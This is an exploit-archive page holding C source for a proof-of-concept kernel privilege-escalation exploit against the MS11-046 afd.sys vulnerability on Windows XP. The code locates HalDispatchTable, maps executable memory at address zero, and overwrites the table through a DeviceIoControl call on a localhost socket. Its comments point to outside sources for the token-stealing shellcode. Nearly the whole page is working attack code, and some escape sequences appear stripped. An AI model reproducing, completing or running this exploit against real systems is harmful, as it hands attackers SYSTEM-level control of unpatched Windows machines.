[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS11-046 Afd.sys Proof of Concept
# Published : 2012-04-19
# Author :
# Previous Title : Sony Bravia Remote Denial of Service
# Next Title : BeyondCHM 1.1 Buffer Overflow


/*
MS11-046 Was a Zero day found in the wild , reported to MS by

Steven Adair from the Shadowserver Foundation and Chris S .

Ronnie Johndas wrote the writeup dissecting a malware with this exploit .

I Rahul Sasi(fb1h2s) just made the POC exploit available .

Reference: ms8-66, ms6-49

*************************************************************
Too lazy to add the shellcode , you could steel this one, it should work .

http://www.whitecell.org/list.php?id=50

The shell code to acheive privilage esclation as per the article  used the following steps

http://www.exploit-db.com/wp-content/themes/exploit/docs/18712.pdf
 .

 1) Use PslookupProcessId get system token
 2) Replace it with the current process token, and we are system


*************************************************************


*/

#define SystemModuleInformation     11
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#ifndef _WIN32_WINNT
//For XP Only
#define _WIN32_WINNT 0x0501
#endif
// We have a client sock conencting to 135 considering the fact it's open by default
#define DEFAULT_ADDR "127.0.0.1"
#define DEFAULT_PORT "135"

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <iphlpapi.h>
#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib")
#pragma comment (lib, "ntdll.lib")


//lets make a nop ret sandwitch
unsigned char hexcode[]="x90x90x90xccx90x90x90x90";

/*
The shell code to acheive privilage esclation

Add you shellcode here as per the article http://www.exploit-db.com/wp-content/themes/exploit/docs/18712.pdf
 the malware used the following method.

 1) Wse PslookupProcessId get system token
 2) Replace it with the current process token, and we are system

*/

// he gets the above sandwitch
 LPVOID hexcode_addr = (LPVOID)0x00000000;

 DWORD sizeofshell = 0x1000;
// he gets the haldispatch

 ULONG_PTR HalDispatchTable;

 //Holds the base adress of krnl

PVOID  krl_base;

//load adress of those %krnl%.exe dudes
HMODULE krl_addr;



// structure system_module_info data

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG  Reserved[2];
    PVOID  Base;
    ULONG  Size;
    ULONG  Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR   ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

//sock addrinfo
struct addrinfo *result = NULL,
                *ptr = NULL,
                hints;


// The list of loaded drivers
typedef LONG NTSTATUS, *PNTSTATUS;

NTSTATUS
NTAPI
ZwQuerySystemInformation(
        IN ULONG SystemInformationClass,
        IN PVOID SystemInformation,
        IN ULONG SystemInformationLength,
        OUT PULONG ReturnLength);
typedef enum _KPROFILE_SOURCE {


    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;


typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,PULONG Interval );

typedef NTSTATUS (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle,
          IN OUT PVOID *BaseAddress,
          IN ULONG ZeroBits,
          IN OUT PULONG RegionSize,
          IN ULONG AllocationType,
          IN ULONG Protect );




int main() {

    //All the declarations goes here
    
    PNTQUERYINTERVAL ZwQueryIntervalProfile;
    PNTALLOCATE ZwAllocateVirtualMemory;
    KPROFILE_SOURCE stProfile = ProfileTotalIssues;
    ULONG Ret_size;
    NTSTATUS status,alloc_status ;

    ULONG i, n, *q;
    PSYSTEM_MODULE_INFORMATION p;
    void *base;
    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    int iResult;
    DWORD ibuf [0x30];
    DWORD obuf [0x30];
    ULONG_PTR result;

    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;
    
    
    printf("n [+] MS11-046 Exploit by fb1h2s(Rahul Sasi) ");
   /*
MS11-046 Was a Zero day found in the wild , reported to MS by

Steven Adair from the Shadowserver Foundation and Chris S .

Ronnie Johndas wrote the writeup dissecting a malware with the exploit details .

I Rahul Sasi(fb1h2s) just made the POC exploit available .

Reference: ms8_66, ms6_49 http://www.whitecell.org/list.php?id=50 exp codes

*/
    status = ZwQuerySystemInformation(SystemModuleInformation, &n, 0, &n);

    q = (ULONG *)malloc(n * sizeof(*q));
    if (q == NULL) {
        perror("malloc");
        return -1;
    }

    status = ZwQuerySystemInformation(SystemModuleInformation, q, n * sizeof(*q), NULL);

    p = (PSYSTEM_MODULE_INFORMATION)(q + 1);
    base = NULL;

    // Loop Loop The table and check for our krl

    for (i = 0; i < *q; i++)
    {

     if( strstr(p[i].ImageName,"ntkrnlpa.exe") )

      {
             printf("n [+] Yo Yo found, and am In ntkrnlpa.exe n");

              krl_addr = LoadLibraryExA("ntkrnlpa.exe",0,1);
              printf("t Base: 0x%x size: %ut%sn",
            p[i].Base,
            p[i].Size,
            p[i].ImageName);
            krl_base = p[i].Base;
            break;
       }

      else if(strstr(p[i].ImageName,"ntoskrnl.exe"))

       {

             printf("n [+] Yo Yo found, and am In ntoskrnl.exen");

             krl_addr = LoadLibraryExA("ntoskrnl.exe",0,1);
             printf("t Base Adress: 0x%x ",p[i].Base);
             krl_base = p[i].Base;
             break;

       }

       else
          {
              printf("n [+]Cdnt find, and am outn");
              exit(0);
          }


      }
    free(q);


printf("n[+] Continue with Exploitationn");

HalDispatchTable = (ULONG_PTR)GetProcAddress(krl_addr,
            "HalDispatchTable");

 if( !HalDispatchTable )
 {
  printf("[!!] Sh*t happen with HalDispatchTablen");
  return FALSE;
 }

 printf("tBase Nt=: 0x%x ",krl_base);
 HalDispatchTable -= ( ULONG_PTR )krl_addr;
 HalDispatchTable += krl_base;

 printf("n[+] HalDispatchTable found ttt [ 0x%p ]n",HalDispatchTable);


 printf("[+] ZwQueryIntervalProfile ");

ZwQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),
                     "ZwQueryIntervalProfile");
 if( !ZwQueryIntervalProfile )
 {
  printf("[!!] Sh*t happen resolving ZwQueryIntervalProfilen");
  return FALSE;
 }
 printf( "ttt [ 0x%p ]n",ZwQueryIntervalProfile );



printf("[+] ZwAllocateVirtualMemory");


 ZwAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle( "ntdll.dll"),
                   "ZwAllocateVirtualMemory");

 if( !ZwAllocateVirtualMemory )
 {
  printf("[!!] Unable to resolve ZwAllocateVirtualMemoryn");
  return FALSE;
 }

 printf( "ttt [ 0x%p ]n",ZwAllocateVirtualMemory );
 printf("n[+] Allocating memory at [ 0x%p ]...n",hexcode_addr);

 alloc_status = ZwAllocateVirtualMemory( INVALID_HANDLE_VALUE,
        &hexcode_addr,
        0,
        &sizeofshell,
        MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
        PAGE_EXECUTE_READWRITE );
 printf("n[+] status %p.n",alloc_status );

 if( alloc_status != 0 )
 {
  printf("[-] Sh*t happen with NtAllocateVirtualMemory() , %#Xn",
                         alloc_status);

 }

 printf("ttZwAllocateVirtualMemory() Allocated return Status, %#Xn",
                         alloc_status);
 memset(hexcode_addr, 0x90, sizeofshell);

 memcpy( (void*)((BYTE*)hexcode_addr + 0x100),(void*)hexcode, sizeof(hexcode));

iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != 0) {
    printf("WASUP Failed: %dn", iResult);
    return 1;
}

iResult = getaddrinfo(DEFAULT_ADDR, DEFAULT_PORT, &hints, &result);


ptr=result;

// SOCKET for connecting to localhost at 135

ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
    ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
    printf("[-] This is bad , Socket Error : %ldn", WSAGetLastError());
    freeaddrinfo(result);
    WSACleanup();
    return 1;
}

// Connect to server.
iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
    closesocket(ConnectSocket);
    ConnectSocket = INVALID_SOCKET;
    printf("[+]Unable to connect to server, modify code and add a server socket, and connect to it!n");
    WSACleanup();
    return ;
}

else {
           printf("[+]Hola Connected to server !n");
    }



memset(ibuf,0x90,sizeof(ibuf));
memset(obuf,0x90,sizeof(obuf));

DeviceIoControl((HANDLE)ConnectSocket,
     0x12007,
     (LPVOID)ibuf,sizeof(ibuf),
     (LPVOID)obuf,0,
     &Ret_size,
     NULL);

for( i = 0; i < sizeof( hints ) ; i++)
 {
  printf(" %02X ",(unsigned char)obuf[i]);
 }


 printf("nn[+] Overwriting HalDispatchTable with those bytes...");

 DeviceIoControl((HANDLE)ConnectSocket,
     0x12007,
     (LPVOID)ibuf,sizeof(ibuf),
     (LPVOID)HalDispatchTable,0,
     &Ret_size,
     NULL);



 printf("nn[+] This should work and break...");

 ZwQueryIntervalProfile(stProfile,&result);




}